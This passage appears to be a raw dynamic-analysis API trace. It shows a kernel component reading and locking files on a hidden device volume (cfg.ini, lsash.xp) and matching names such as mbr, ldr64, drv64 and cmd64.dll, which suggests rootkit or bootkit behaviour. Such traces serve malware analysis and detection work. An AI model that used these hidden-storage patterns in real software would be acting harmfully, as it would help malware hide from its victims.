_snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.752] KeEnterCriticalRegion () [0122.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.752] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.752] KeLeaveCriticalRegion () [0122.752] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.753] KeEnterCriticalRegion () [0122.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.753] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.753] IdePortDispatch () returned 0x103 [0122.753] KeWaitForMutexObject () returned 0x0 [0122.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.753] KeLeaveCriticalRegion () [0122.753] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.753] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.753] KeEnterCriticalRegion () [0122.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.753] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1a000 [0122.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.753] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.753] IdePortDispatch () returned 0x103 [0122.753] KeWaitForMutexObject () returned 0x0 [0122.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.753] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.753] IdePortDispatch () returned 0x103 [0122.753] KeWaitForMutexObject () returned 0x0 [0122.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.754] KeLeaveCriticalRegion () [0122.754] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.754] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.754] KeEnterCriticalRegion () [0122.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.754] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.754] KeLeaveCriticalRegion () [0122.754] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.754] KeEnterCriticalRegion () [0122.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.754] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.754] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.754] KeLeaveCriticalRegion () [0122.754] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.754] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.754] KeEnterCriticalRegion () [0122.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.754] ExFreePoolWithTag (P=0xfffffa8003be7e10, Tag=0x0) [0122.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.754] KeLeaveCriticalRegion () [0122.754] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.755] ReleaseMutex (hMutex=0xf0) returned 1 [0122.755] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.755] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.755] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.755] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.755] KeEnterCriticalRegion () [0122.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.755] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.755] IdePortDispatch () returned 0x103 [0122.755] KeWaitForMutexObject () returned 0x0 [0122.755] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.755] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.755] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.755] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.755] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.755] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.755] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.755] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.755] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.755] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.755] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.755] KeLeaveCriticalRegion () [0122.755] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.755] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.755] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.755] KeEnterCriticalRegion () [0122.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.755] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.756] IdePortDispatch () returned 0x103 [0122.756] KeWaitForMutexObject () returned 0x0 [0122.756] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.756] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.756] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.756] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.756] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.756] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.756] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.756] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.756] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.756] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.756] KeLeaveCriticalRegion () [0122.756] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.756] ReleaseMutex (hMutex=0x100) returned 1 [0122.756] Sleep (dwMilliseconds=0x2bf20) [0122.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c5f9d10, dwHighDateTime=0x1d24fa4)) [0122.764] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.764] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.764] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.764] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.764] KeEnterCriticalRegion () [0122.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.764] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.764] IdePortDispatch () returned 0x103 [0122.765] KeWaitForMutexObject () returned 0x0 [0122.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.765] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.765] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.765] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.765] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.765] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.765] KeLeaveCriticalRegion () [0122.765] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.765] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.765] KeEnterCriticalRegion () [0122.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.765] KeLeaveCriticalRegion () [0122.765] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.765] KeEnterCriticalRegion () [0122.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.765] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.765] IdePortDispatch () returned 0x103 [0122.766] KeWaitForMutexObject () returned 0x0 [0122.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.766] KeLeaveCriticalRegion () [0122.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.766] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.766] KeEnterCriticalRegion () [0122.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1d000 [0122.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.766] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.766] IdePortDispatch () returned 0x103 [0122.766] KeWaitForMutexObject () returned 0x0 [0122.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.766] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.766] IdePortDispatch () returned 0x103 [0122.766] KeWaitForMutexObject () returned 0x0 [0122.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.767] KeLeaveCriticalRegion () [0122.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.767] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.767] KeEnterCriticalRegion () [0122.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.767] KeLeaveCriticalRegion () [0122.767] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.767] KeEnterCriticalRegion () [0122.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.767] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.767] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.767] KeLeaveCriticalRegion () [0122.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.767] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.767] KeEnterCriticalRegion () [0122.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.767] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.767] KeLeaveCriticalRegion () [0122.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.767] ReleaseMutex (hMutex=0xf0) returned 1 [0122.767] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.767] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.768] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.768] KeEnterCriticalRegion () [0122.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.768] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.768] IdePortDispatch () returned 0x103 [0122.768] KeWaitForMutexObject () returned 0x0 [0122.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.768] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.768] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.768] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.768] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.768] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7e10 [0122.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.768] KeLeaveCriticalRegion () [0122.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.768] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.768] KeEnterCriticalRegion () [0122.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.768] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.768] KeLeaveCriticalRegion () [0122.768] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.768] KeEnterCriticalRegion () [0122.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.768] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.768] IdePortDispatch () returned 0x103 [0122.768] KeWaitForMutexObject () returned 0x0 [0122.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.769] KeLeaveCriticalRegion () [0122.769] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.769] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.769] KeEnterCriticalRegion () [0122.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1e000 [0122.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.769] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.769] IdePortDispatch () returned 0x103 [0122.769] KeWaitForMutexObject () returned 0x0 [0122.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.769] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.769] IdePortDispatch () returned 0x103 [0122.769] KeWaitForMutexObject () returned 0x0 [0122.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.769] KeLeaveCriticalRegion () [0122.769] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.770] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.770] KeEnterCriticalRegion () [0122.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.770] KeLeaveCriticalRegion () [0122.770] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.770] KeEnterCriticalRegion () [0122.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.770] 